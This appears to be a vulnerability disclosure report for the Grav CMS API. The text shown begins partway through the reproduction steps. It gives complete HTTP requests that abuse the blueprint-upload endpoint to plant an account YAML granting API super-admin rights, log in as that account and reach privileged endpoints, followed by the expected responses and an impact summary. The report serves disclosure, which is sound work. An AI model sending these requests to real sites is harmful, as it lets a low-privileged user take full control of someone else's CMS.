Low-privileged Grav API users can create super-admin accounts via blueprint-upload

Extract:

UPLOADER_TOKEN = <access_token from response>

Attachment:

Step 2: Upload a malicious account YAML file

POST /api/v1/blueprint-upload HTTP/1.1
Host: 127.0.0.1:8123
X-API-Token: <UPLOADER_TOKEN>
Content-Type: multipart/form-data; boundary=----CodexBoundaryF01
Connection: close

------CodexBoundaryF01
Content-Disposition: form-data; name="destination"

self@:
------CodexBoundaryF01
Content-Disposition: form-data; name="scope"

users/anything
------CodexBoundaryF01
Content-Disposition: form-data; name="file"; filename="pwned.yaml"
Content-Type: text/yaml

email: [email protected]
fullname: attacker
title: Site Administrator
state: enabled
password: Passw0rd!123
access:
  site:
    login: true
  api:
    super: true
------CodexBoundaryF01--

Expected result:

{
  "data": [
    {
      "name": "pwned.yaml",
      "path": "user/accounts/pwned.yaml"
    }
  ]
}

Attachment:

Step 3: Log in as the newly created account

POST /api/v1/auth/token HTTP/1.1
Host: 127.0.0.1:8123
Content-Type: application/json
Connection: close

{"username":"pwned","password":"Passw0rd!123"}

Expected result:

{
  "data": {
    "user": {
      "username": "pwned",
      "super_admin": true
    }
  }
}

Attachment:

Step 4: Verify privileged API access

GET /api/v1/system/info HTTP/1.1
Host: 127.0.0.1:8123
X-API-Token: <PWNED_TOKEN>
Connection: close

Expected result:

The request succeeds and returns system-level information.

Attachment:

Impact

This is an authenticated vertical privilege-escalation vulnerability.

Any API user with basic media upload capability can escalate directly to a full API super administrator by planting a new account YAML file. Once api.super access is obtained, the attacker gains full control over the CMS management API and can:

• modify content
• alter configuration
• manage users
• install or update plugins/themes
• access system-level administration features

In a real deployment, this level of control is sufficient for complete CMS compromise and may be chained into server-side code execution depending on enabled plugins, writable template paths, or package-management workflow.

This issue was reproduced locally:

• the upload response returned user/accounts/pwned.yaml
• logging in as pwned succeeded
• the new account had super_admin = true
• privileged endpoints such as /api/v1/system/info were accessible